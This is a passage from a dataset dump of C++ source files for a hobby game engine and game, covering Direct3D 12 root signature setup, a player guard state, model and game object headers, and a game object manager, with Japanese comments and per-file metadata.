false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tbool RootSignature::Init(Shader& shader)\n\t{\n\t\t//シェーダーからルートシグネチャ情報を取得\n\t\tID3DBlob* sig = nullptr;\n\t\tauto shaderBlob = shader.GetCompiledBlob();\n\t\n\t\tauto hr = D3DGetBlobPart(shaderBlob->GetBufferPointer(), shaderBlob->GetBufferSize(),\n\t\t\tD3D_BLOB_ROOT_SIGNATURE, 0, &sig);\n\t\t//ルートシグネチャの生成\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\thr = d3dDevice->CreateRootSignature(0, sig->GetBufferPointer(), sig->GetBufferSize(),\n\t\t\tIID_PPV_ARGS(&m_rootSignature));\n\t\treturn hr == S_OK;\n\t}\n\n\n\tbool RootSignature::Init(\n\t\tD3D12_FILTER samplerFilter,\n\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeU,\n\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeV,D3D12_TEXTURE_ADDRESS_MODE textureAdressModeW,\n\t\tint numTables, TableInitData* tableInitDatas\n\t)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\n\t\tD3D12_STATIC_SAMPLER_DESC sampler = {};\n\t\tsampler.Filter = samplerFilter;\n\t\tsampler.AddressU = textureAdressModeU;\n\t\tsampler.AddressV = textureAdressModeV;\n\t\tsampler.AddressW = textureAdressModeW;\n\t\tsampler.MipLODBias = 0;\n\t\tsampler.MaxAnisotropy = 0;\n\t\tsampler.ComparisonFunc = D3D12_COMPARISON_FUNC_NEVER;\n\t\tsampler.BorderColor = D3D12_STATIC_BORDER_COLOR_OPAQUE_BLACK;\n\t\tsampler.MinLOD = 0.0f;\n\t\tsampler.MaxLOD = D3D12_FLOAT32_MAX;\n\t\tsampler.ShaderRegister = 0;\n\t\tsampler.RegisterSpace = 0;\n\t\tsampler.ShaderVisibility = D3D12_SHADER_VISIBILITY_PIXEL;\n\n\t\t//DescTableData* dtd = new DescTableData[numTables];\n\t\tCD3DX12_DESCRIPTOR_RANGE1* ranges = new CD3DX12_DESCRIPTOR_RANGE1[numTables * enNumDescriptorHeap];\n\t\tCD3DX12_ROOT_PARAMETER1* rootParameters = new CD3DX12_ROOT_PARAMETER1[numTables];\n\t\tfor (int i = 0; i < numTables; i++)\n\t\t{\n\t\t\tconst auto& tid = tableInitDatas[i];\n\t\t\t//auto& DT = dtd[i];\n\t\t\t//int c = int(tid.maxCBV != 0) + int(tid.maxSRV != 0) + int(tid.maxUAV != 0);\n\t\t\t//DT.ranges = new CD3DX12_DESCRIPTOR_RANGE1[c];\n\n\t\t\tint j = i * enNumDescriptorHeap;\n\t\t\tif (tid.maxCBV)\n\t\t\t{\n\t\t\t\tranges[j].Init(\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_TYPE_CBV,\n\t\t\t\t\ttid.maxCBV,\n\t\t\t\t\ttid.baseRegisterCBV,\n\t\t\t\t\t0,\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC\n\t\t\t\t);\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif (tid.maxSRV)\n\t\t\t{\n\t\t\t\tranges[j].Init(\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_TYPE_SRV,\n\t\t\t\t\ttid.maxSRV,\n\t\t\t\t\ttid.baseRegisterSRV,\n\t\t\t\t\t0,\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC\n\t\t\t\t);\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif (tid.maxUAV)\n\t\t\t{\n\t\t\t\tranges[j].Init(\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_TYPE_UAV,\n\t\t\t\t\ttid.maxUAV,\n\t\t\t\t\ttid.baseRegisterUAV,\n\t\t\t\t\t0,\n\t\t\t\t\tD3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC\n\t\t\t\t);\n\t\t\t\tj++;\n\t\t\t}\n\n\t\t\trootParameters[i].InitAsDescriptorTable((j- i * enNumDescriptorHeap), &ranges[i * enNumDescriptorHeap]);\n\n\t\t\trootParameters[i].ParameterType = D3D12_ROOT_PARAMETER_TYPE_DESCRIPTOR_TABLE;\n\t\t\trootParameters[i].DescriptorTable.NumDescriptorRanges = (j - i * enNumDescriptorHeap);\n\t\t\trootParameters[i].DescriptorTable.pDescriptorRanges = &ranges[i * enNumDescriptorHeap];\n\t\t\trootParameters[i].ShaderVisibility = D3D12_SHADER_VISIBILITY_ALL;\n\t\t}\n\n\t\t// Allow input layout and deny uneccessary access to certain pipeline stages.\n\t\tD3D12_ROOT_SIGNATURE_FLAGS rootSignatureFlags =\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_ALLOW_INPUT_ASSEMBLER_INPUT_LAYOUT |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_HULL_SHADER_ROOT_ACCESS |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_DOMAIN_SHADER_ROOT_ACCESS |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_GEOMETRY_SHADER_ROOT_ACCESS;\n\n\n\n\t\tCD3DX12_VERSIONED_ROOT_SIGNATURE_DESC rootSignatureDesc;\n\t\trootSignatureDesc.Init_1_1(numTables, rootParameters, 1, &sampler, rootSignatureFlags);\n\n\t\tMicrosoft::WRL::ComPtr<ID3DBlob> signature;\n\t\tMicrosoft::WRL::ComPtr<ID3DBlob> error;\n\t\tauto hr = D3DX12SerializeVersionedRootSignature(&rootSignatureDesc, D3D_ROOT_SIGNATURE_VERSION_1, &signature, &error);\n\t\t/*error->GetBufferSize();\n\t\tMessageBoxA(nullptr, (LPCSTR)error->GetBufferPointer(), \"error\", MB_OK);*/\n\t\thr = d3dDevice->CreateRootSignature(0, signature->GetBufferPointer(), signature->GetBufferSize(), IID_PPV_ARGS(&m_rootSignature));\n\t\t\n\t\tif (FAILED(hr)) {\n\t\t\tMessageBoxA(nullptr, \"rootSignature create failed\", \"error\", MB_OK);\n\t\t\treturn false;\n\t\t}\n\n\t\tdelete[] ranges;\n\t\tdelete[] rootParameters;\n\t\treturn true;\n\t}\n}\n"
},
{
"alpha_fraction": 0.718875527381897,
"alphanum_fraction": 0.7242302298545837,
"avg_line_length": 19.16216278076172,
"blob_id": "c41aa01a19182c53717c9a041e5f08f2a3170b00",
"content_id": "5366f3b6c23c1b68e050998f9a8c9b0e95771163",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 775,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 37,
"path": "/Game/Player/State/PlayerGuardState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerGuardState.h\"\n#include \"../Player.h\"\n\nPlayerGuardState::PlayerGuardState() {\n}\n\nPlayerGuardState::~PlayerGuardState() {\n}\n\n\nvoid PlayerGuardState::Enter(Player* p) {\n\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Enter Guard\\n\");\n#endif\n\n\tp->SetVelocity(Vector3::Zero);\n\tp->PlayAnimation(Player::EnAnimation::enGuard);\n\tp->SetArmorParam(m_guardParam);\n}\n\nIPlayerState* PlayerGuardState::Update(Player* p) {\n\tif (g_pad[0]->IsPress(EnButton::enButtonLB2))\n\t\treturn this;\n\n\tauto nextState = p->GetPreviousState();\n\treturn nextState;\n}\n\nvoid PlayerGuardState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Exit Guard\\n\");\n#endif\n\t//TODO : プレイヤーの元の防御力に戻す\n\tp->SetArmorParam(0.f);\n}\n\n"
},
{
"alpha_fraction": 0.6653005480766296,
"alphanum_fraction": 0.6693989038467407,
"avg_line_length": 14.270833015441895,
"blob_id": "1ce58a4bdfb881aa1b5c4ef79a13ffbbcebceca3",
"content_id": "787db009b108ebd5f1dcb70eea405a2d63031b97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 732,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 48,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempEnemy.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"Enemy/IEnemy.h\"\n/// <summary>\n/// \n/// </summary>\nclass XXX final :public IEnemy\n{\npublic:\n\tXXX();\n\tvirtual ~XXX();\n\n\tvoid Init() override;\n:block InitState\n\tvoid InitState() override;\n:end\n:block InitIK\n\tvoid InitIK() override;\n:end\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tPlayer::EnAttackType GetDropID() override\n\t{\n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\t\n\tenum class EnStateEX :int\n\t{\n\t\tExpand = TO_INT(IEnemy::EnState::enNumState),\n\t\tNum,\n\t};\n\n\tenum class EnAnimEX :int\n\t{\n\t\tExpand = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\t\tNum,\n\t};\n\nprivate:\n\t//Model\n\t//ModelRender* m_model = nullptr;\n\tfloat m_scale = 1.f;\n\n\t//Physics\n\tconst float m_radius = 1.f;\n\tconst float m_height = 3.f;\n};"
},
{
"alpha_fraction": 0.6503661870956421,
"alphanum_fraction": 0.6520198583602905,
"avg_line_length": 22.516666412353516,
"blob_id": "88d16aff0f51eb81082350daf5eafc1dc4dc1e7a",
"content_id": "31a1e09a0ee14d7fe88324a81ec8c88200e8e96f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4821,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 180,
"path": "/UsualEngineR/Graphics/Model.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"tkFile/TkmFile.h\"\n#include \"MeshParts.h\"\n#include \"Skeleton.h\"\n\n#include \"IK/IK.h\"\n\n\nnamespace UER\n{\n\t\n\tclass IShaderResource;\n\tclass raytracing::Instance;\n\n\tenum EUpAxis\n\t{\n\t\tenUpAxisY,\n\t\tenUpAxisZ,\n\t};\n\t\n\t/// <summary>\n\t/// モデルの初期化データ\n\t/// </summary>\n\tstruct ModelInitData {\n\t\tconst char* m_tkmFilePath = nullptr;\t\t//tkmファイルパス。\n\t\tconst char* m_vsEntryPointFunc = \"VSMain\";\t//頂点シェーダーのエントリーポイント。\n\t\tconst char* m_psEntryPointFunc = \"PSMain\";\t//ピクセルシェーダーのエントリーポイント。\n\t\tconst char* m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\t\t\t//.fxファイルのファイルパス。\n\t\t//const char* m_psfxFilePath = \"Assets/shader/ModelPS.fx\";\n\t\tconst char* m_psfxFilePath = \"Assets/shader/GBufferModelPS.fx\";\n\t\tconst char* m_tksFilePath = nullptr;\t\t//tksファイルパス。\n\t\tvoid* m_expandConstantBuffer = nullptr;\t\t//ユーザー拡張の定数バッファ。\n\t\tint m_expandConstantBufferSize = 0;\t\t\t//ユーザー拡張の定数バッファのサイズ。\n\t\tIShaderResource* m_expandShaderResoruceView = nullptr;\t//ユーザー拡張のシェーダーリソース。\n\t\tEUpAxis m_upAxis = enUpAxisZ;\n\t\tconst wchar_t* m_emmissionMap = nullptr;\t\t//エミッションマップ\n\t};\n\n\t\n\t/// <summary>\n\t/// モデルクラス。\n\t/// </summary>\n\tclass Model {\n\t\n\tpublic:\n\n\t\tvirtual ~Model();\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvoid Release();\n\t\n\t\t/// <summary>\n\t\t/// tkmファイルから初期化。\n\t\t/// </summary>\n\t\t/// <param name=\"initData\">初期化データ</param>\n\t\tvoid Init( const ModelInitData& initData );\n\t\t/// <summary>\n\t\t/// ワールド行列の更新。\n\t\t/// </summary>\n\t\t/// <param name=\"pos\">座標</param>\n\t\t/// <param name=\"rot\">回転</param>\n\t\t/// <param name=\"scale\">拡大率</param>\n\t\tvoid UpdateWorldMatrix(const Vector3& pos, const Quaternion& rot, const Vector3& scale);\n\n\t\tvoid UpdateSkeleton();\n\n\t\tvoid UpdateIKTarget();\n\t\tvoid UpdateIK();\n\t\n\t\t/// <summary>\n\t\t/// スケルトンを関連付ける。\n\t\t/// </summary>\n\t\t/// <param name=\"skeleton\">スケルトン</param>\n\t\tvoid BindSkeleton(Skeleton& skeleton)\n\t\t{\n\t\t\tm_meshParts.BindSkeleton(skeleton);\n\t\t}\n\t\t/// <summary>\n\t\t/// 描画\n\t\t/// </summary>\n\t\t/// <param name=\"renderContext\">レンダリングコンテキスト</param>\n\t\tvoid Draw(RenderContext& renderContext, const Vector4& mulcolor);\n\n\t\tvoid DrawInstanced(RenderContext& renderContext, int instanceNum, const Vector4& mulcolor);\n\n\t\tvoid DrawShadow(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// ワールド行列を取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst Matrix& GetWorldMatrix() const\n\t\t{\n\t\t\treturn m_world;\n\t\t}\n\t\t/// <summary>\n\t\t/// メッシュに対して問い合わせを行う。\n\t\t/// </summary>\n\t\t/// <param name=\"queryFunc\">問い合わせ関数</param>\n\t\tvoid QueryMeshs(std::function<void(const SMesh& mesh)> queryFunc)\n\t\t{\n\t\t\tm_meshParts.QueryMeshs(queryFunc);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// tkmFileからメッシュに対して問い合わせを行う。\n\t\t/// </summary>\n\t\t/// <param name=\"queryFunc\">問い合わせ関数</param>\n\t\tvoid QueryMeshsFromTkm(std::function<void(const TkmFile::SMesh& mesh)> queryFunc) const\n\t\t{\n\t\t\tm_tkmFile->QueryMeshParts(queryFunc);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"queryFunc\"></param>\n\t\tvoid QueryMeshAndDescriptorHeap(std::function<void(const SMesh& mesh, const DescriptorHeap& ds)> queryFunc)\n\t\t{\n\t\t\tm_meshParts.QueryMeshAndDescriptorHeap(queryFunc);\n\t\t}\n\n\t\tSkeleton* GetSkelton()\n\t\t{\n\t\t\treturn &m_skeleton;\n\t\t}\n\n\t\tEUpAxis GetUpAxis() const\n\t\t{\n\t\t\treturn m_upAxis;\n\t\t}\n\n\t\tvoid AddRaytraceInstance(raytracing::Instance* instance)\n\t\t{\n\t\t\tm_raytracingInstanceList.push_back(instance);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// IKを作成する\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"startBone\"></param>\n\t\t/// <param name=\"endBone\"></param>\n\t\t/// <param name=\"radius\"></param>\n\t\t/// <returns></returns>\n\t\tIK* CreateIK(Bone* startBone, Bone* endBone, float radius);\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"startBone\"></param>\n\t\t/// <param name=\"len\"></param>\n\t\t/// <param name=\"radius\"></param>\n\t\t/// <returns></returns>\n\t\tIK* CreateIK(Bone* startBone, int len, float radius)\n\t\t{\n\t\t\tBone* endBone = m_skeleton.GetBone(startBone->GetParentBoneNo());\n\t\t\tfor (int i = 0; i < len-1; i++)\n\t\t\t{\n\t\t\t\tendBone = m_skeleton.GetBone(endBone->GetParentBoneNo());\n\t\t\t}\n\t\t\treturn CreateIK(startBone, endBone, radius);\n\t\t}\n\n\tprivate:\n\t\n\t\tMatrix m_world;\t\t\t//ワールド行列。\n\t\tTkmFile* m_tkmFile;\t\t//tkmファイル。\n\t\tSkeleton m_skeleton;\t//スケルトン。\n\t\tMeshParts m_meshParts;\t//メッシュパーツ。\n\n\t\tEUpAxis m_upAxis = enUpAxisZ;\n\t\tstd::vector<raytracing::Instance*> m_raytracingInstanceList;\n\t\t\n\t\tstd::vector<IK*> m_ikList;\n\t};\n\n\n}\n"
},
{
"alpha_fraction": 0.6402704119682312,
"alphanum_fraction": 0.6648961901664734,
"avg_line_length": 18.175926208496094,
"blob_id": "5c711dd51405225360894be9dc06be803297e353",
"content_id": "25ac7f5925f326a6e93ee11395b82af7348e25a7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2405,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 108,
"path": "/Game/Goal.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass SmokeEffect;\n\n/// <summary>\n/// \n/// </summary>\nclass Goal :public GameObject\n{\npublic:\n\tGoal();\n\tvirtual ~Goal();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tconst Vector3& GetPosition() {\n\t\treturn m_firstPosition;\n\t}\n\n\tconst Quaternion& GetRotation() const{\n\t\treturn m_rotation;\n\t}\n\n\tModelRender* GetModelRender()\n\t{\n\t\treturn m_model;\n\t}\nprivate:\n\n\t//model\n\tModelRender* m_model = nullptr;\n\tstd::map<int, std::unique_ptr<CAnimationClip>> m_animationMap;\n\n\t//transform\n\tVector3 m_firstPosition = { 0,-50.f,0 };\n\tVector3 m_lastPosition = Vector3::Zero;\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 100.f,100.f,100.f };\n\n\t//doorOpenPos\n\tconst int CLOSED = 0;\n\tconst int OPENED = 1;\n\tVector3 m_openPosition = Vector3::Zero;\n\tconst float m_openDoorSensorSensitivity = 15.f;\n\tconst float m_openRange = 25.f;\n\tbool m_isOpened = false;\n\n\tconst float m_range = 30.f;\n\tbool m_isChecked = false;\n\n\tfloat m_appearTimer = 0.f;\n\tconst float m_appearTime = 3.0f;\n\n\tVector3 m_forward = Vector3::One;\n\n\t//performance\n\tfloat m_performanceTimer = 0.f;\n\tconst float m_sceneTransitionTime = 3.5f;\n\t//Physics\n\tPhysicsStaticObject m_physicsStaticObject;\n\n\t//Effect\n\tSmokeEffect* m_smokeEffect = nullptr;\n\tconst Vector4 m_smokeColor = { 0.882, 0.773, 0.616,0.1f };\n};\n"
},
{
"alpha_fraction": 0.6129032373428345,
"alphanum_fraction": 0.6129032373428345,
"avg_line_length": 4.7272725105285645,
"blob_id": "87c919351f18723233fa46108e047bbd8c858549",
"content_id": "d6f67070c036b2251e6137ac3abd5259eef21bf2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 62,
"license_type": "no_license",
"max_line_length": 18,
"num_lines": 11,
"path": "/UsualEngineR/Thread/ConstMutex.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tstruct ConstMutex\n\t{\n\t\t\n\t};\n}"
},
{
"alpha_fraction": 0.6094167828559875,
"alphanum_fraction": 0.6117353439331055,
"avg_line_length": 20.569231033325195,
"blob_id": "d7398f0a60e71b5b4799380bb234104ad49ea77a",
"content_id": "c16aa6381b3ed074072d4d58590433c7bf4a92ab",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6505,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 260,
"path": "/UsualEngineR/GameObject/GameObjectManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"GameObject.h\"\n#include \"util/Util.h\"\n\nnamespace UER\n{\n\tstruct DeadData\n\t{\n\t\tint prio = 0;\n\t\tint ind = 0;\n\t};\n\tclass GameObjectManager\n\t{\n\tprivate:\n\t\tGameObjectManager();\n\t\t\n\tpublic:\n\t\t\n\t\t~GameObjectManager();\n\t\tvoid Release();\n\n\t\t/// <summary>\n\t\t/// NewGOされたもののデータ。\n\t\t/// </summary>\n\t\tstruct NewGOData\n\t\t{\n\t\t\tGameObject* go = nullptr;\t//Newされたやつのポインタ\n\t\t\tchar prio = 0;\t\t\t\t//プライオリティ\n\t\t};\n\t\tstatic GameObjectManager* Get()\n\t\t{\n\t\t\tstatic GameObjectManager* ins = nullptr;\n\t\t\tif (ins == nullptr)\n\t\t\t\tins = new GameObjectManager();\n\t\t\t\n\t\t\treturn ins;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// ゴミ箱に入ってるオブジェクトを取り出す。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\ttemplate<class T>\n\t\tT* TakeTrash()\n\t\t{\n\t\t\tT* t = NULL;\n\t\t\tfor (GameObject* tr : m_trashBox)\n\t\t\t{\n\t\t\t\tt = dynamic_cast<T*>(tr);\n\t\t\t\tif (t != NULL)\n\t\t\t\t{\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (t != NULL)\n\t\t\t{\n\t\t\t\tauto it = std::find(m_trashBox.begin(), m_trashBox.end(), t);\n\t\t\t\tm_trashBox.erase(it);\n\t\t\t\t//ob = (GameObject*)(t);\n\t\t\t\tt->Revive();\n\t\t\t}\n\t\t\treturn t;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// オブジェクトを生成する。\n\t\t/// </summary>\n\t\t/// <param name=\"prio\">プライオリティ</param>\n\t\t/// <param name=\"name\">名前</param>\n\t\t/// <param name=\"isCheckIned\">チェックインしてる?</param>\n\t\t/// <returns></returns>\n\t\ttemplate<class T>\n\t\tT* NewGameObject(int prio, const char* name,bool isTakeTrush,bool isCheckIned)\n\t\t{\n\t\t\tif (prio >= m_maxSize)\n\t\t\t{\n\t\t\t\t//MessageBoxA(usualEngine()->GetHwnd(),\"\",\"\",0)\n\t\t\t\tassert(0);\n\t\t\t}\n\t\t\tint hash = Util::MakeHash(name);\n\n\t\t\tT* go = TakeTrash<T>();\n\t\t\tif (go == nullptr)\n\t\t\t{\n\t\t\t\tgo = new T();\n\t\t\t}\n\n\t\t\tGameObject* o = (GameObject*)go;\n\t\t\to->Awake();\n\t\t\to->SetPrio(prio);\n\t\t\to->SetName(hash);\n\t\t\to->CreatInGameObjectManager();\n\t\t\tif (isTakeTrush)\n\t\t\t\to->TrashTaking();\n\t\t\t//m_gameObjectList[prio].push_back((GameObject*)go);\n\n\t\t\tm_newGOPush_Mutex.lock();\n\n\t\t\tm_newGOBuffer.push_back({ go,(char)prio });\n\t\t\tif (isCheckIned && m_checkInCountList[prio]>0)\n\t\t\t\tm_checkInCountList[prio] -= 1;\n\n\t\t\tm_newGOPush_Mutex.unlock();\n\n\t\t\treturn go;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// オブジェクトを消す\n\t\t/// オブジェクトが使いまわしできるようになっているものはデリートはされない。\n\t\t/// </summary>\n\t\t/// <param name=\"go\">消すオブジェクト</param>\n\t\tvoid DeleteGameObject(GameObject* go);\n\n\t\t/// <summary>\n\t\t/// 更新。\n\t\t/// </summary>\n\t\tvoid Update();\n\t\t/// <summary>\n\t\t/// Startを更新\n\t\t/// </summary>\n\t\tvoid UpdateStart();\n\t\t/// <summary>\n\t\t/// Updateを更新\n\t\t/// </summary>\n\t\tvoid UpdateUpdate();\n\t\t/// <summary>\n\t\t/// PreRenderを更新\n\t\t/// </summary>\n\t\tvoid UpdatePreRender();\n\t\t/// <summary>\n\t\t/// Renderを更新\n\t\t/// </summary>\n\t\tvoid UpdateRender();\n\t\t/// <summary>\n\t\t/// PrePostRenderを更新。\n\t\t/// </summary>\n\t\tvoid UpdatePrePostRender();\n\t\t/// <summary>\n\t\t/// PostRenderを更新\n\t\t/// </summary>\n\t\tvoid UpdatePostRender();\n\n\t\tvoid UpdateDeadProcess();\n\n\t\t/// <summary>\n\t\t/// オブジェクトリストのキャパシティをadd分増やす\n\t\t/// </summary>\n\t\t/// <param name=\"prio\">プライオリティ</param>\n\t\t/// <param name=\"add\">増やす数</param>\n\t\tvoid AddReserved(int prio, int add);\n\t\t/// <summary>\n\t\t/// オブジェクトリストのキャパシティを返す\n\t\t/// </summary>\n\t\t/// <param name=\"prio\">プライオリティ</param>\n\t\t/// <returns></returns>\n\t\tint Capacity(int prio);\n\t\t/// <summary>\n\t\t/// オブジェクトリストの余分を消す。\n\t\t/// CheckINのカウントを0にする。\n\t\t/// </summary>\n\t\t/// <param name=\"prio\">プライオリティ</param>\n\t\tvoid CapacityShrink2Fit(int prio);\n\t\t/// <summary>\n\t\t/// チェックイン\n\t\t/// </summary>\n\t\t/// <param name=\"prio\">プライオリティ</param>\n\t\t/// <param name=\"count\">カウント</param>\n\t\tvoid CheckIN(int prio, int count);\n\n\t\tvoid AddThread(GameObject* obj, void(GameObject::* func)(void));\n\t\tvoid ReleaseThread();\n\tprivate:\n\t\tstatic const size_t m_maxSize = 32;\t\t\t\t\t//priorityの最大値。\n\t\tstatic std::mutex m_newGOPush_Mutex;\n\t\tstd::array<std::vector<GameObject*>,m_maxSize> m_gameObjectList;\t//生きているゲームオブジェクトのリスト\n\t\tstd::vector<NewGOData> m_newGOBuffer;\t\t\t\t//そのフレームに生成されたオブジェクトのリスト\n\t\t\n\t\tstd::array<int, m_maxSize> m_checkInCountList;\t\t//\n\t\tstd::vector<DeadData> m_ddList;\t\t\t\t\t\t//DeleteGOされたオブジェクトのリスト\n\t\tstd::vector<GameObject*> m_trashBox;\t\t\t\t//再利用されるオブジェクトのリスト\n\n\t\tbool m_isReleaseProcess = false;\t\t\t\t\t//全オブジェクトの開放処理中?\n\n\t\tstruct ThreadState\n\t\t{\n\t\t\tThreadObject* thread;\n\n\t\t};\n\t\tstd::vector<ThreadObject*> m_threadList;\n\t};\n\textern Lock<GameObjectManager> g_lockGameObjectManager;\n\n\t/// <summary>\n\t/// オブジェクトを生成する\n\t/// </summary>\n\t/// <param name=\"prio\">プライオリティ</param>\n\t/// <param name=\"name\">名前</param>\n\t/// <param name=\"isTakeTrush\">使いまわしする</param>\n\t/// <returns></returns>\n\ttemplate<class T>\n\tstatic T* NewGO(int prio, const char* name=\"\")\n\t{\n\t\treturn GameObjectManager::Get()->NewGameObject<T>(prio, name, false,false);\n\t}\n\n\t/// <summary>\n\t/// オブジェクトを生成する\n\t/// </summary>\n\t/// <param name=\"prio\">プライオリティ</param>\n\t/// <param name=\"name\">名前</param>\n\t/// <param name=\"isTakeTrush\">使いまわしする</param>\n\t/// <returns></returns>\n\ttemplate<class T>\n\tstatic T* NewGO(int prio, bool isTakeTrush)\n\t{\n\t\treturn GameObjectManager::Get()->NewGameObject<T>(prio, \"\", isTakeTrush, false);\n\t}\n\t\n\t/// <summary>\n\t/// オブジェクトを消す\n\t/// 使いまわしをする奴はデリートをしない\n\t/// </summary>\n\t/// <param name=\"obj\">消すオブジェクト</param>\n\ttemplate<class T>\n\tstatic void DeleteGO(T*& obj)\n\t{\n\t\tGameObjectManager::Get()->DeleteGameObject(obj);\n\t\tobj = nullptr;\n\t}\n\n\n\t/// <summary>\n\t/// num分だけGameObjectManagerのTrushBox上に確保する。\n\t/// </summary>\n\t/// <param name=\"num\"></param>\n\t/// <param name=\"prio\"></param>\n\ttemplate<class T>\n\tstatic void AllocateGO(int num,int prio)\n\t{\n\t\tfor (int i = 0; i < num; i++)\n\t\t{\n\t\t\tauto go = NewGO<T>(prio, true);\n\t\t\tDeleteGO(go);\n\t\t}\n\t}\n\n\ttemplate<class T>\n\tstatic void AllocateGO(int num, int prio, std::vector<T*>& goList)\n\t{\n\t\tgoList.reserve(goList.size() + num);\n\t\tfor (int i = 0; i < num; i++)\n\t\t{\n\t\t\tauto go = NewGO<T>(prio, true);\n\t\t\tgoList.push_back(go);\n\t\t\tDeleteGO(go);\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.7111650705337524,
"alphanum_fraction": 0.7135922312736511,
"avg_line_length": 20.6842098236084,
"blob_id": "05300c31bd4ec447cb2b5622e0e1ddbb4a61f796",
"content_id": "6c892bf125e777af8e48b3efb16fffc17ec7be54",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 442,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 19,
"path": "/Game/Enemy/State/EnemyExplosionKamikazeState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
